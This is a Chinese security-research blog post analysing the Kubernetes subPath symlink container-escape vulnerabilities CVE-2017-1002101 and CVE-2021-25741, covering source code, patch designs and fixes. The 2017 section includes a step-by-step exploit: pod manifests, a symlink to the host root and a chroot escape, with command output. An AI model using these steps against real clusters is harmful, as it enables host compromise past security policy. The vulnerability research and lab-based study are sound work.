逃逸风云再起:从CVE-2017-1002101到CVE-2021-25741

2021-10-15 11:03:56 浏览数 (1)

前言

声明:本文内容仅供合法教学及研究使用,不得将相关知识、技术应用于非法活动!

近日,研究人员向Kubernetes安全团队报告了一个可导致容器逃逸的安全漏洞[1],获得编号CVE-2021-25741,目前的CVSS3.x评分为8.8[2],属于高危漏洞。该漏洞引起社区的广泛讨论[3]。有人指出,CVE-2021-25741漏洞是由2017年的CVE-2017-1002101漏洞的补丁不充分导致,事实也的确如此。

CVE-2017-1002101是一个Kubernetes的文件系统逃逸漏洞,允许攻击者使用subPath卷挂载来访问卷空间外的文件或目录,CVSS 3.x评分为9.8[4]。所有v1.3.x、v1.4.x、v1.5.x、v1.6.x及低于v1.7.14、v1.8.9和v1.9.4版本的Kubernetes均受到影响。该漏洞由Maxim Ivanov提交[5]。

这两个漏洞都与Linux系统的符号链接机制有关,而这一机制曾引发了数量可观的安全漏洞。

简而言之,CVE-2017-1002101的成因是,Kubernetes在宿主机文件系统上解析了Pod滥用subPath机制创建的符号链接,故而宿主机上任意路径(如根目录)能够被挂载到攻击者可控的恶意容器中,导致容器逃逸。官方对此的修补思路是,借助路径检查和类似“锁”的机制,确保恶意用户通过subPath挂载的路径不是非预期的符号链接。然而,百密一疏,纵使官方的修复方案已经考虑了种种情况,但最后的挂载操作是由系统上的mount工具执行,而该工具默认解析符号链接,这就引入了TOCTOU问题(竞态条件问题的一种),也就是近来曝光的CVE-2021-25741。

本文将对这两个漏洞进行关联分析。后文的组织结构如下:

1. 给出理解漏洞的必要背景知识;

2. 剖析、复现CVE-2017-1002101漏洞;

3. 剖析、复现CVE-2021-25741漏洞;

4. 基于以上分析,给出我们的总结与思考。

由于CVE-2021-25741漏洞较新,截至本文成稿尚无公开漏洞利用代码。本文仅结合公开资料对漏洞进行分析,给出脱敏复现截图,帮助大家理解这一漏洞。请勿将相关知识、技术应用于非法活动!

绿盟科技星云实验室开源的云原生靶场项目Metarget[6]现已支持自动化构建CVE-2017-1002101和CVE-2021-25741漏洞环境,欢迎研究者使用(后文会给出具体构建方法)。

穿越之旅即将开始,请坐稳扶好。

1. 背景知识

1.1符号链接

符号链接,也被称作软链接,指的是这样一类文件——它们包含了指向其他文件或目录的绝对或相对路径的引用。当我们操作一个符号链接时,操作系统通常会将我们的操作自动解析为针对符号链接指向的文件或目录的操作。

在类Unix系统中,ln命令能够创建一个符号链接,例如:

ln -s target_path link_path

上述命令创建了一个名为link_path的符号链接,它指向的目标文件为target_path。

欲了解更多关于符号链接的内容,可以参考维基百科[7]。

1.2SubPath

在容器内部,本地文件通常是非持久化的。对于Kubernetes来说,当容器由于某种原因终止运行并被Kubelet重启后,非持久化的本地文件就会丢失;另外,集群中同一Pod内部或Pod间常常会有文件共享的需求。Kubernetes提供了Volume资源用来解决上述问题,官方文档对Volume进行了详尽描述[8]。

有时,我们需要把一个Volume在多处使用。volumeMounts.subPath特性允许我们在挂载时指定某Volume内的子路径,而非其根路径。

以经典的LAMP Pod(Linux Apache Mysql PHP)为例,采用subPath特性,同一Pod内的mysql和php容器可共享同一Volume site-data,但在容器内部分别挂载该Volume的不同子路径mysql和html:

代码语言:javascript复制
apiVersion: v1
kind: Pod
metadata:
  name: my-lamp-site
spec:
    containers:
    -name: mysql
      image: mysql
      env:
      -name: MYSQL_ROOT_PASSWORD
        value:"rootpasswd"
      volumeMounts:
      -mountPath: /var/lib/mysql
        name: site-data
        subPath: mysql
    -name: php
      image: php:7.0-apache
      volumeMounts:
      -mountPath: /var/www/html
        name: site-data
        subPath: html
    volumes:
    -name: site-data
      persistentVolumeClaim:
        claimName: my-lamp-site-data

欲了解更多关于SubPath的内容,可以参考官方文档[9]。

1.3Pod安全策略(Pod Security Policies)

Pod安全策略为Pod的创建和更新提供了细粒度的权限控制。从实现上来讲,Pod安全策略是一种集群级资源,用于对Pod的安全敏感设定进行管控。

PodSecurityPolicy对象定义了一系列Pod运行必须遵从的条件,允许管理员对Pod进行管控,例如:

表1 PodSecurityPolicy控制字段

控制的角度

字段名称

运行特权容器

privileged

使用宿主机命名空间

hostPID,hostIPC

使用宿主机的网络和端口

hostNetwork,hostPorts

Volume类型的使用

volumes

使用宿主机文件系统

allowedHostPaths

允许使用特定的FlexVolume驱动

allowedFlexVolumes

分配拥有Pod卷的FSGroup账号

fsGroup

以只读方式访问根文件系统

readOnlyRootFilesystem

设置容器的用户ID和组ID

runAsUser,runAsGroup,supplementalGroups

限制权限提升为root

allowPrivilegeEscalation,defaultAllowPrivilegeEscalation

Linux 权能(Capabilities)

defaultAddCapabilities,requireDropCapabilities,allowedCapabilities

设置容器的SELinux上下文

seLinux

指定容器能挂载的Proc类型

allowedProcMountTypes

指定容器使用的AppArmor模板

annotations

指定容器使用的seccomp模板

annotations

指定容器使用的sysctl模板

forbiddenSysctls,allowedUnsafeSysctls

欲了解更多关于Pod安全策略的内容及如何启用Pod安全策略,可以参考官方文档[10]。

2. CVE-2017-1002101:寒风初起

2.1漏洞分析

在针对CVE-2017-1002101的分析开始之前,我们先要搞清楚一件事——这个漏洞本质上是“Linux符号链接特性”与“Kubernetes自身代码逻辑”两部分结合的产物。符号链接引起的问题并不新鲜,这里它与虚拟化隔离技术碰撞出了逃逸问题,以前还曾有过在传统主机安全领域与SUID概念碰撞出的权限提升问题等[11]。

言归正传。CVE-2017-1002101漏洞是怎么产生的呢?

首先,结合源码,我们来深入了解一下创建一个Pod的过程中与Volume有关的部分。笔者采用的是v1.9.3版本的Kubernetes源码,gitcommit为d2835416544。

在一个Pod开始运行前,Kubernetes需要做许多事情。首先,Kubelet为Pod在宿主机上创建了一个基础目录:

代码语言:javascript复制
// in pkg/kubelet/kubelet.go syncPodfunction
// Make data directories for the pod
if err := kl.makePodDataDirs(pod); err !=nil{
    kl.recorder.Eventf(pod, v1.EventTypeWarning, events.FailedToMakePodDataDirectories,"errormaking pod data directories: %v", err)
    glog.Errorf("Unable to make pod datadirectories for pod %q: %v", format.Pod(pod), err)
    return err
}

如果跟进看makePodDataDirs函数,可以发现其中就包括Volumes目录:

代码语言:javascript复制
// in pkg/kubelet/kubelet_pods.go
// makePodDataDirs creates the dirs for the pod datas.
func(kl *Kubelet) makePodDataDirs(pod *v1.Pod)error{
      uid := pod.UID
    // ...
      if err := os.MkdirAll(kl.getPodVolumesDir(uid),0750); err !=nil&&!os.IsExist(err){
            return err
      }
    // ...
}

接着,Kubelet等待Kubelet Volume Manager(pkg/kubelet/volumemanager)将Pod声明文件中声明的卷挂载到上述Volumes目录下:

代码语言:javascript复制
// in pkg/kubelet/kubelet_pods.go
// Volume manager will not mount volumes for terminatedpods
if!kl.podIsTerminated(pod){
    // Wait for volumes to attach/mount
    if err := kl.volumeManager.WaitForAttachAndMount(pod); err !=nil{
        kl.recorder.Eventf(pod, v1.EventTypeWarning, events.FailedMountVolume,"Unableto mount volumes for pod %q: %v", format.Pod(pod), err)
        glog.Errorf("Unable to mount volumesfor pod %q: %v; skipping pod", format.Pod(pod), err)
        return err
    }
}

在上述工作完成后,Kubelet需要为容器运行时(Container Runtime,后文简称Runtime)生成配置文件:

代码语言:javascript复制
// inpkg/kubelet/kuberuntime/kuberuntime_container.go
func(m *kubeGenericRuntimeManager) startContainer(podSandboxID string, podSandboxConfig *runtimeapi.PodSandboxConfig, container *v1.Container, pod *v1.Pod, podStatus *kubecontainer.PodStatus, pullSecrets []v1.Secret, podIP string)(string,error){
    // ...
      containerConfig, err := m.generateContainerConfig(container, pod, restartCount, podIP, imageRef)
    // ...

其中核心函数generateContainerConfig最终追溯到了位于pkg/kubelet/kubelet_pods.go中的GenerateRunContainerOptions函数。该函数中调用了makeMounts用来生成Runtime需要的挂载映射表:

代码语言:javascript复制
// in pkg/kubelet/kubelet_pods.goGenerateRunContainerOptions function
mounts, err := makeMounts(pod, kl.getPodDir(pod.UID), container, hostname, hostDomainName, podIP, volumes)

makeMounts函数是问题关键所在。我们深入看一下:

代码语言:javascript复制
// in pkg/kubelet/kubelet_pods.go
// makeMounts determines the mount points for the givencontainer.
func makeMounts(pod *v1.Pod, podDir string, container *v1.Container, hostName, hostDomain, podIP string, podVolumes kubecontainer.VolumeMap)([]kubecontainer.Mount,error){
    // ...
      mounts :=[]kubecontainer.Mount{}
      for _, mount :=range container.VolumeMounts {
        // ...
            hostPath, err := volume.GetPath(vol.Mounter)
            if err !=nil{
                  returnnil,err
            }
            if mount.SubPath !=""{
                  if filepath.IsAbs(mount.SubPath){
                        returnnil,fmt.Errorf("error SubPath `%s` mustnot be an absolute path", mount.SubPath)
                  }
                  err= volumevalidation.ValidatePathNoBacksteps(mount.SubPath)
                  if err !=nil{
                        returnnil,fmt.Errorf("unable to provisionSubPath `%s`: %v", mount.SubPath, err)
                  }

                  fileinfo, err := os.Lstat(hostPath)
                  if err !=nil{
                        returnnil,err
                  }
                  perm:= fileinfo.Mode()
                  // 关键点1
                  hostPath= filepath.Join(hostPath, mount.SubPath)

                  if subPathExists, err := utilfile.FileOrSymlinkExists(hostPath); err !=nil{
                        glog.Errorf("Could not determine ifsubPath %s exists; will not attempt to change its permissions", hostPath)
                  }elseif!subPathExists {
                        if err := os.MkdirAll(hostPath, perm); err !=nil{
                              glog.Errorf("failed to mkdir:%s", hostPath)
                              returnnil,err
                        }

                        // chmod the sub path because umask may have prevented us frommaking the sub path with the same
                        // permissions as the mounter path
                        if err := os.Chmod(hostPath, perm); err !=nil{
                              returnnil,err
                        }
                  }
            }
            // ...
        // 关键点2
            mounts =append(mounts, kubecontainer.Mount{
                  Name:           mount.Name,
                  ContainerPath:  containerPath,
                  HostPath:       hostPath,
                  ReadOnly:       mount.ReadOnly,
                  SELinuxRelabel: relabelVolume,
                  Propagation:    propagation,
            })
      }
    // ...
      return mounts,nil
}

经过仔细分析可以发现,makeMounts在生成挂载映射表时,并未单独列出subPath的情况。对于指定了subPath的挂载项,Kubelet直接将subPath与hostPath进行简单的字符串合并,然后加入到挂载映射表(上述代码中的mounts变量)中。

最终,这个挂载映射表被传递给Runtime来创建容器。

初看,这个流程没什么问题。但是,如果我们把以下几点特征放在一起,就会有问题了[12]:

1.subPath是Pod拥有者可控的;

2.卷是可以由同一Pod内不同生命周期的容器、或不同Pod之间共享的;

3.Kubernetes将宿主机上的文件路径进行解析并传递给Runtime,Runtime将这些路径绑定挂载(bindmount)到容器内部。

设想这样一种情况:

假如某人拥有某集群内的Pod创建权限,但是不能任意挂载卷(比如受到Pod安全策略的限制,否则就可以直接挂载宿主机目录实现逃逸了),那么他先创建一个Pod-1,在其中声明挂载Volume-1。Pod-1运行后,利用Pod-1的shell在Volume-1中创建一个指向/的符号链接symlink-1;接着再创建一个Pod-2,Pod-2同样声明挂载Volume-1,但是使用了subPath特性,指明subPath为symlink-1。这样一来,基于我们前面的分析过程,Kubelet会直接在宿主机上生成指向hostPath subPath的路径传递给Runtime。当Pod-2的容器运行起来后,它就会直接挂载宿主机上该符号链接指向的内容了!

这就是CVE-2017-1002101漏洞所在。

2.2漏洞复现

2.2.1 环境准备

首先,我们需要部署一个存在CVE-2017-1002101漏洞的Kubernetes集群,您可以借助前言部分提到的开源靶场工具Metarget部署漏洞环境。在安装Metarget后,执行以下命令,即可部署上述集群:

代码语言:javascript复制
./metarget cnv install cve-2017-1002101 --domestic

在集群中,攻击者具有某命名空间下Pod的创建及相关权限,但是受到Pod安全策略的限制[10],在创建时如果挂载了hostPath类型的卷,只允许挂载某些非重要路径下的目录或文件,例如/tmp。这样一来,攻击者很难通过挂载宿主机敏感目录的方式实现容器逃逸。但是借助CVE-2017-1002101,攻击者能够绕过此限制,成功挂载宿主机敏感目录,继而实现容器逃逸。

接着,我们需要布置一下攻击场景。场景很简单——为集群设置Pod安全策略,只允许Pod在创建时挂载宿主机/tmp路径下的目录或文件。结合官方文档[10]及网上技术分享[13][14],首先创建策略:

代码语言:javascript复制
apiVersion: extensions/v1beta1
kind: PodSecurityPolicy
metadata:
  name: privileged
  annotations:
    seccomp.security.alpha.kubernetes.io/allowedProfileNames:'*'
spec:
  privileged:true
  allowPrivilegeEscalation:true
  allowedCapabilities:
  -'*'
  volumes:
  -'*'
  allowedHostPaths:
  -pathPrefix: /tmp/
  hostNetwork:true
  hostPorts:
  -min:0
    max:65535
  hostIPC:true
  hostPID:true
  runAsUser:
    rule:'RunAsAny'
  seLinux:
    rule:'RunAsAny'
  supplementalGroups:
    rule:'RunAsAny'
  fsGroup:
    rule:'RunAsAny'

接着打通RBAC:

代码语言:javascript复制
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
 name: privileged-psp
rules:
 -apiGroups:
   - policy
   resourceNames:
   - privileged
   resources:
   - podsecuritypolicies
   verbs:
   - use
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
 name: kube-system-psp
 namespace: kube-system
roleRef:
 apiGroup: rbac.authorization.k8s.io
 kind: ClusterRole
 name: privileged-psp
subjects:
 -apiGroup: rbac.authorization.k8s.io
   kind: Group
   name: system:nodes
 -apiGroup: rbac.authorization.k8s.io
   kind: Group
   name: system:serviceaccounts:kube-system

然后为API Server配置PodSecurityPolicy插件。编辑APIServer的配置文件(一般是/etc/kubernetes/manifests/kube-apiserver.yaml),在--admission-control命令行选项后加上,PodSecurityPolicy,然后等待APIServer重启服务(如果长时间没有重启可以尝试手动执行servicekubelet restart重启一下Kubelet服务),直到能够看到API Server进程启动参数中包含PodSecurityPolicy:

代码语言:javascript复制
root# ps aux | grep kube-apiserver| grep -v grep
root  26141 4.5 12.9 377460 264384?  Ssl 11:51 11:37 kube-apiserver--tls-private-key-file=/etc/kubernetes/pki/apiserver.key--proxy-client-cert-file=/etc/kubernetes/pki/front-proxy-client.crt--proxy-client-key-file=/etc/kubernetes/pki/front-proxy-client.key--enable-bootstrap-token-auth=true --service-cluster-ip-range=10.96.0.0/12--tls-cert-file=/etc/kubernetes/pki/apiserver.crt--client-ca-file=/etc/kubernetes/pki/ca.crt--kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key--requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt--insecure-port=0 --allow-privileged=true--requestheader-group-headers=X-Remote-Group--service-account-key-file=/etc/kubernetes/pki/sa.pub--kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt--requestheader-username-headers=X-Remote-User--requestheader-extra-headers-prefix=X-Remote-Extra---requestheader-allowed-names=front-proxy-client --secure-port=6443--admission-control=Initializers,NamespaceLifecycle,LimitRanger,ServiceAccount,DefaultStorageClass,DefaultTolerationSeconds,NodeRestriction,ResourceQuota,PodSecurityPolicy……

上述输出说明Pod安全策略设置成功。我们来测试一下,尝试创建一个挂载宿主机根目录的Pod:

代码语言:javascript复制
root# kubectl apply -f -<<EOF
# stage-1-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: test
spec:
  containers:
  - image:ubuntu
    name: test
   volumeMounts:
    - mountPath:/vuln
      name:vuln-vol
    command:["sleep"]
    args:["10000"]
  volumes:
  - name:vuln-vol
    hostPath:
      path: /
EOF

Error from server (Forbidden): error when creating"STDIN": pods "test" is forbidden: unable to validateagainst any pod security policy: [spec.volumes[0].hostPath.pathPrefix: Invalidvalue: "/": is not allowed to be used]

可以发现,由于安全策略的存在,Pod创建失败。另外,一些朋友可能会想到用相对路径..来绕过,事实上/tmp/../这种形式也会报错:

代码语言:javascript复制
The Pod "test" isinvalid:
* spec.volumes[0].hostPath.path: Invalid value:"/tmp/../": must not contain '..'
* spec.containers[0].volumeMounts[0].name: Not found:"vuln-vol"

至此,环境准备完成。

2.2.2 漏洞利用

目标很明确:在文件系统层面实现容器逃逸。一旦实现了文件系统层面的容器逃逸,攻击者就像是穿越了结界,很容易继续扩大战果、实施更有杀伤性的攻击。

结合前文的分析,在攻击者的视角下,我们要做的事情实际非常简单:

1. 创建一个Pod,以hostPath类型挂载宿主机/tmp/test目录;

2. 在上一步的Pod中执行命令,在宿主机/tmp/test目录下创建指向/的符号链接xxx;

3. 创建第二个Pod,以hostPath类型挂载宿主机/tmp/test目录,在容器中以subPath类型挂载xxx;

4. 在第二个Pod的shell中,执行chroot将根目录切换到xxx,实现容器逃逸。

让我们来实践一下。在前面搭建的测试环境中,按照上述步骤:

先创建第一个Pod:

代码语言:javascript复制
root# kubectl apply -f - <<EOF
# stage-1-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name:stage-1-container
spec:
 containers:
  - image:ubuntu
    name:stage-1-container
   volumeMounts:
    -mountPath: /vuln
     name: vuln-vol
   command: ["sleep"]
    args:["10000"]
  volumes:
  - name:vuln-vol
   hostPath:
     path: /tmp/test
EOF
pod/stage-1-container created

然后在第一个Pod中创建所述符号连接:

代码语言:javascript复制
kubectl exec -it stage-1-container-- ln -s / /vuln/xxx

接着创建第二个Pod:

代码语言:javascript复制
root# kubectl apply -f -<<EOF
# stage-2-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name:stage-2-container
spec:
  containers:
  - image:ubuntu
    name:stage-2-container
   volumeMounts:
    - mountPath:/vuln
      name:vuln-vol
      subPath:xxx
    command: ["sleep"]
    args:["10000"]
  volumes:
  - name:vuln-vol
    hostPath:
      path:/tmp/test
EOF
pod/stage-2-container created

OK,现在我们已经可以到第二个Pod中验证一下是否逃逸成功了:

代码语言:javascript复制
root# kubectl exec -itstage-2-container -- ls /vuln
bin   home       lib64  optsbin  tmp     vmlinuz.old
boot initrd.img      lost found  proc    snap  usr     xxx
dev  initrd.img.old  media     root      srv  var
etc   lib        mnt     runsys   vmlinuz
root#

可以看到,我们在第二个Pod中执行ls /vuln,列出的却是所在宿主机节点的根目录。进一步地,我们直接在第二个Pod的shell中chroot过去:

代码语言:javascript复制
root# kubectl exec -it stage-2-container --/bin/bash
root@stage-2-container:/# cat /etc/hostname
stage-2-container

root@stage-2-container:/# chroot /vuln
# cat /etc/hostname
victim-2

很明显,在chroot后,从配置文件中获取的主机名已经变成了宿主机节点的名称。验证完毕。

2.2.3 注意事项

在实践过程中我们发现,为了顺利复现漏洞,需要注意:

1. 前后创建的两个Pod要在同一个宿主机节点上(如果是多节点集群环境);

2. 不同版本Kubernetes环境下Admission Controller的PodSecurityPolicy插件的配置方式有一些小差异,具体步骤请参考官方文档。

2.3漏洞修复

v1.9.x系列的Kubernetes在v1.9.4版本中修复了CVE-2017-1002101漏洞[15]。

漏洞的根源在于,subPath指向的宿主机文件系统路径是不受控的,在符号链接的辅助下,可以是任何位置。

修复方案需要考虑两点:

1. 解析后的文件系统路径必须是在Pod基础路径之内;

2. 在检查环节和绑定挂载环节之间不允许用户更改(避免引入TOCTOU问题[16])。

Kubernetes产品安全团队曾提出了几种不同版本的安全方案[12],这些方案能帮助我们更好地理解即将出场的CVE-2021-25741漏洞的成因。接下来,我们一起来解读一下这些方案。

2.3.1 方案一(基础方案)

基础方案是:

1. 在宿主机上对所有的subPath解析符号链接;

2. 判断符号链接解析后的指向目标是否位于卷内部;

3. 只把第2步中判定为卷内部的解析后路径传递给Runtime。

这个方案很简单,但是存在TOCTOU 的风险[16]。攻击者可以先给一个合法符号链接,使第2步判断通过,再将其替换为恶意符号链接即可。因此,如果要采取这个思路,就需要为目标路径加上某种形式的锁,避免其在第2步和第3步之间被攻击者更改。

后续的所有方案都采用一种临时绑定挂载的方式去实现上述「锁」的概念,这基于绑定挂载的特性——绑定挂载生效后,挂载源就不可改变了。

2.3.2 方案二

方案二在方案一的基础上做了加强:

1. 在Kubelet的Pod目录下创建一个子目录,比如dir1;

2. 将卷绑定挂载到上述子目录中,比如挂载点为dir1/volume;

3. 使用chroot切换根目录到dir1;

4. 在切换后的根目录内,将volume/subpath绑定挂载为subpath。这样一来,任何符号链接都是在chroot后的环境中解析了;

5. 退出chroot环境;

6. 在宿主机上,将经过绑定挂载的dir1/subpath传递给Runtime。

这种方案有效,但完整实现过于复杂,官方团队没有采用。

2.3.3 方案三

将方案一和方案二进行了整合:

1. 将subpath路径绑定挂载到Kubelet的Pod目录下的一个子目录;

2. 判断绑定挂载的挂载源是否位于卷内部;

3. 只把第2步中判定为卷内部的绑定挂载传递给Runtime。

这个方案看起来有效、简单,但是第2步实际上非常难实现,因为现实中要考虑的情况实在太多了(比如Volume类型差异带来的影响)。

2.3.4 最终解决方案

最终,安全团队针对CVE-2017-1002101给出的修复方案是:

1. 在宿主机上对所有的subPath解析符号链接;

2. 对解析后的路径,从卷的根路径开始,使用openat()系统调用依次打开每一个路径段(即路径被分割符/分开的各部分),在这个过程中禁用符号链接。对于每个段,确保当前路径位于在卷内部;

3. 将/proc/<kubeletpid>/fd/<final fd>绑定挂载到Kubelet的Pod目录下的一个子目录。该文件是指向打开文件的链接(文件描述符)。如果源文件在被Kubelet打开的时候被替换,那么链接依然指向原始文件;

4. 关闭文件描述符fd,将绑定挂载传递给Runtime。

详细方案讨论见官方博客[12]。实际的修复代码过多,限于篇幅,这里不再给出。

我们在新版本的Kubernetes集群中重试前文的漏洞利用步骤,发现stage-2-container将无法创建成功:

代码语言:javascript复制
root# kubectl get pods

NAME                READY   STATUS                            RESTARTS   AGE
stage-1-container  1/1     Running                                 0          110s
stage-2-container  0/1    CreateContainerConfigError   0          17s

此时,stage-2-container的事件日志如下:

代码语言:javascript复制
root# kubectl describe -n testpods stage-2-container | tail -n 7
Events:
  Type     Reason    Age                  From                    Message
  ----     ------    ----                 ----                    -------
  Normal   Scheduled 2m59s               default-scheduler      Successfully assigned test/stage-2-container to ctnsec-master
  Normal   Pulled    26s (x7 over 2m50s)  kubelet,ctnsec-master  Successfully pulled image"ubuntu"
  Warning  Failed    26s (x7 over 2m50s)  kubelet,ctnsec-master  Error: failed to preparesubPath for volumeMount "vuln-vol" of container "stage-2-container"

从Kubelet的日志中,我们能够查看到更详细的信息:

代码语言:javascript复制
failed to prepare subPath forvolumeMount "vuln-vol" of container "stage-2-container":subpath "/" not within volume path "/tmp/test"

可以看到,日志明确指出了/路径并不在/tmp/test路径下,因此Pod建立失败。

最终方案看似完美无缺。然而,一个未曾考虑到的特性让安全团队为避免TOCTOU问题作出的以上所有复杂设计如千里长堤般溃于蚁穴。四年之后,CVE-2021-25741出场。

3. CVE-2021-25741:百密一疏

3.1漏洞分析

CVE-2021-25741漏洞的成因与CVE-2017-1002101漏洞的最终修复方案密切相关。因此,如果您对上一节的最终修复方案只是匆匆略过,并希望明白CVE-2021-25741的原理,建议再回过头弄明白CVE-2017-1002101到底是怎么修复的。

OK,我们继续。事实上,CVE-2017-1002101漏洞的最终修复方案的确达到了预期目的——确保挂载路径位于卷内部,同时避免竞态条件攻击。我们结合1.17.1版本的Kubernetes代码简单看一下是怎么做的(如前所述,所有代码过多,就不放出了)。在subpath_linux.go的中:

代码语言:javascript复制
func doBindSubPath(mounter mount.Interface, subpath Subpath)(hostPath string, err error){
      // 1. 在宿主机上对所有的subPath解析符号链接
    newVolumePath, err := filepath.EvalSymlinks(subpath.VolumePath)
    if err !=nil// ... 出错返回
      newPath, err := filepath.EvalSymlinks(subpath.Path)
      if err !=nil// ... 出错返回
    // ... 省略
    // 2. 依次打开每一个路径段,确保当前路径位于在卷内部
      fd, err := safeOpenSubPath(mounter, subpath)
      if err !=nil// ... 出错返回
    // ... 省略
      kubeletPid := os.Getpid()
      mountSource := fmt.Sprintf("/proc/%d/fd/%v", kubeletPid, fd)
      // Do the bind mount
      options :=[]string{"bind"}
      klog.V(5).Infof("bind mounting %q at%q",mountSource,bindPathTarget)
    // 3. 绑定挂载subPath到Pod内
      if err = mounter.Mount(mountSource, bindPathTarget,""/*fstype*/, options); err !=nil// ... 出错返回
      // ... 省略
}

以上就是修复方案给出的步骤了。新的问题到底在哪呢?

在mounter.Mount上。该函数会调用doMount函数,doMount函数最终是通过执行系统上的mount工具来实现挂载的:

代码语言:javascript复制
command := exec.Command(mountCmd, mountArgs...)

然而,根据Linux手册[17],mount工具默认情况下是解析符号链接的。因此,虽然前述补丁过程中攻击者无法做些什么,但他可以在mount工具解析符号链接后和挂载操作执行前制造竞态条件攻击,从而绕过前述补丁的防御措施。

3.2漏洞复现

在特定的环境下,一旦成功触发漏洞,攻击者能够实现容器逃逸,如下图所示:

图 1 漏洞复现DEMO

注:Metarget已经支持CVE-2021-25741漏洞环境搭建。在安装Metarget后,执行以下命令,即可部署存在漏洞的Kubernetes集群:

代码语言:javascript复制
./metarget cnv install cve-2021-25741 --domestic

3.3漏洞修复

这一次的修复[18]很简单,在调用mount时传递了--no-canonicalize参数,命令mount不再解析符号链接。

4. 总结与思考

CVE-2017-1002101和CVE-2021-25741都是符号链接处理不当引起的安全问题。事实上,符号链接引起的安全问题并不少见。我们曾不止一次提到过,成熟复杂系统(譬如Linux)的魅力在于其能够提供强大的功能和机制,而问题则往往出现在这些功能与机制同时或交替生效的场景中。

思路再拓展一下:Windows上的「快捷方式」与Linux上的符号链接的功能非常相像。而「快捷方式」也曾曝出许多严重安全漏洞。例如,CVE-2010-2568——Windows快捷方式文件存在缺陷导致的任意代码执行漏洞,据称曾被应用在针对伊朗核设施的「震网病毒」[19]中[20];再如CVE-2017-8464——另一基于Windows快捷方式的任意代码执行漏洞,由于其漏洞原理上与CVE-2010-2568的相似性,被戏称为「震网三代」。

在云计算世界,我们尤其擅长将各种基础机制打包起来,创造出新的事物,这种新事物也许能够极大地提高生产力,甚至促进产业变革——容器便是典例。然而,结合前文所述,这也意味着以往不曾出现过的机制交叠带来的逻辑漏洞或许会在云环境陆续产生。

云原生时代,安全不可缺席。我们将持续输出云原生安全研究成果,最新成果直接赋能绿盟科技云原生安全产品NCSS-C,为您的云原生业务保驾护航。目前,NCSS-C已经支持对CVE-2017-1002101和CVE-2021-25741漏洞的检测。

最后,由绿盟科技星云实验室编写的《云原生安全:攻防实践与体系构建》一书即将于10月底出版,干货多多,更加精彩,敬请关注!

往期回顾

Metarget:云原生攻防靶场开源啦!

k0otkit: Hack K8s in aK8s Way

未能幸免!安全容器也存在逃逸风险

容器环境相关的内核漏洞缓解技术

云原生环境渗透相关工具考察

针对容器的渗透测试方法

Istio访问授权再曝高危漏洞

容器逃逸技术概览

容器逃逸成真:从CTF解题到CVE-2019-5736漏洞挖掘分析

参考文献

[1] https://seclists.org/oss-sec/2021/q3/172

[2] https://nvd.nist.gov/vuln/detail/CVE-2021-25741

[3] https://github.com/kubernetes/kubernetes/issues/104980

[4] https://nvd.nist.gov/vuln/detail/cve-2017-1002101

[5] https://github.com/kubernetes/kubernetes/issues/60813

[6] https://github.com/Metarget/metarget

[7] https://en.wikipedia.org/wiki/Symbolic_link

[8] https://kubernetes.io/docs/concepts/storage/volumes/

[9] https://kubernetes.io/docs/concepts/storage/volumes/#using-subpath

[10] https://kubernetes.io/docs/concepts/policy/pod-security-policy/

[11] https://en.wikipedia.org/wiki/Symlink_race

[12] https://kubernetes.io/blog/2018/04/04/fixing-subpath-volume-vulnerability/

[13] https://medium.com/@makocchi/kubernetes-cve-2017-1002101-en-5a30bf701a3e

[14] https://stackoverflow.com/questions/59054407/how-to-enable-admission-controller-plugin-on-k8s-where-api-server-is-deployed-as

[15] https://github.com/kubernetes/kubernetes/pull/61045/commits/16caae31f9e1c4dc74158a9aa79dbce177122c7e

[16] https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use

[17] https://man7.org/linux/man-pages/man8/mount.8.html

[18] https://github.com/kubernetes/kubernetes/pull/104253/commits/296b30f14367a42d43f25ad0774d10be55b49f4d

[19] https://en.wikipedia.org/wiki/Stuxnet

[20] https://www.cs.utexas.edu/~shmat/courses/cs361s/stuxnet.pdf

关于星云实验室

星云实验室专注于云计算安全、解决方案研究与虚拟化网络安全问题研究。基于IaaS环境的安全防护,利用SDN/NFV等新技术和新理念,提出了软件定义安全的云安全防护体系。承担并完成多个国家、省、市以及行业重点单位创新研究课题,已成功孵化落地绿盟科技云安全解决方案。

内容编辑:星云实验室 阮博男 责任编辑:高深

本公众号原创文章仅代表作者观点,不代表绿盟科技立场。所有原创内容版权均属绿盟科技研究通讯。未经授权,严禁任何媒体以及微信公众号复制、转载、摘编或以其他方式使用,转载须注明来自绿盟科技研究通讯并附上本文链接。

关于我们

绿盟科技研究通讯由绿盟科技创新中心负责运营,绿盟科技创新中心是绿盟科技的前沿技术研究部门。包括云安全实验室、安全大数据分析实验室和物联网安全实验室。团队成员由来自清华、北大、哈工大、中科院、北邮等多所重点院校的博士和硕士组成。

绿盟科技创新中心作为“中关村科技园区海淀园博士后工作站分站”的重要培养单位之一,与清华大学进行博士后联合培养,科研成果已涵盖各类国家课题项目、国家专利、国家标准、高水平学术论文、出版专业书籍等。

我们持续探索信息安全领域的前沿学术方向,从实践出发,结合公司资源和先进技术,实现概念级的原型系统,进而交付产品线孵化产品并创造巨大的经济价值。

0 人点赞